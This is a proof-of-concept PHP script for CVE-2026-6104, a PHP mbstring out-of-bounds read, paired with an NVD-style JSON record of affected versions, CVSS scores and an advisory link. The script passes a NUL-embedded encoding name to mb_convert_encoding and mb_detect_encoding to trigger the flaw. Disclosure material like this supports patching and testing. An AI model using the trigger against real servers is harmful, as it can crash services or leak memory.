CVE-2026-6104

<?php // PoC for CVE-2026-6104: PHP mbstring Out-of-Bounds Read // This script demonstrates passing an encoding name with an embedded NUL byte. // Attempt to trigger the vulnerability in mb_convert_encoding // The specific encoding name depends on the internal logic, but generally involves a NUL byte. $malicious_encoding = "UTF-8\0ExtraJunk"; $text = "Test string"; // This may cause an out-of-bounds read or crash depending on memory layout try { $result = mb_convert_encoding($text, "UTF-8", $malicious_encoding); echo "Conversion succeeded (might not crash on all builds/configs).\n"; } catch (Exception $e) { echo "Exception caught: " . $e->getMessage() . "\n"; } // Another vector: mb_detect_encoding $encodings = [$malicious_encoding, "ASCII"]; $detected = mb_detect_encoding($text, $encodings); echo "Detected encoding: " . $detected . "\n"; ?>

{"cve": {"id": "CVE-2026-6104", "sourceIdentifier": "[email protected]", "published": "2026-05-10T06:16:07.397", "lastModified": "2026-05-12T17:35:59.777", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In PHP versions 8.4.* before 8.4.21 and 8.5.* before 8.5.6, when an encoding name containing an embedded NUL byte is passed to mb_convert_encoding() or related mbstring functions, the code incorrectly assumes that when strncasecmp() returns 0 it means the strings have the same length. This can lead to out-of-bounds read of global memory, potentially causing a crash or information disclosure or crash. Affected functions include mb_convert_encoding(), mb_detect_encoding(), mb_convert_variables(), and mb_detect_order(), as well as the mbstring.detect_order and mbstring.http_output INI settings."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:L/SC:L/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:M/U:Amber", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:php:php:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.4.0", "versionEndExcluding": "8.4.21", "matchCriteriaId": "BA663C03-392C-41CC-BD11-4A1245203C42"}, {"vulnerable": true, "criteria": "cpe:2.3:a:php:php:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.5.0", "versionEndExcluding": "8.5.6", "matchCriteriaId": "6101DA12-5AA1-4882-A52A-61FB74254F9A"}]}]}], "references": [{"url": "https://github.com/php/php-src/security/advisories/GHSA-74r9-qxhc-fx53", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}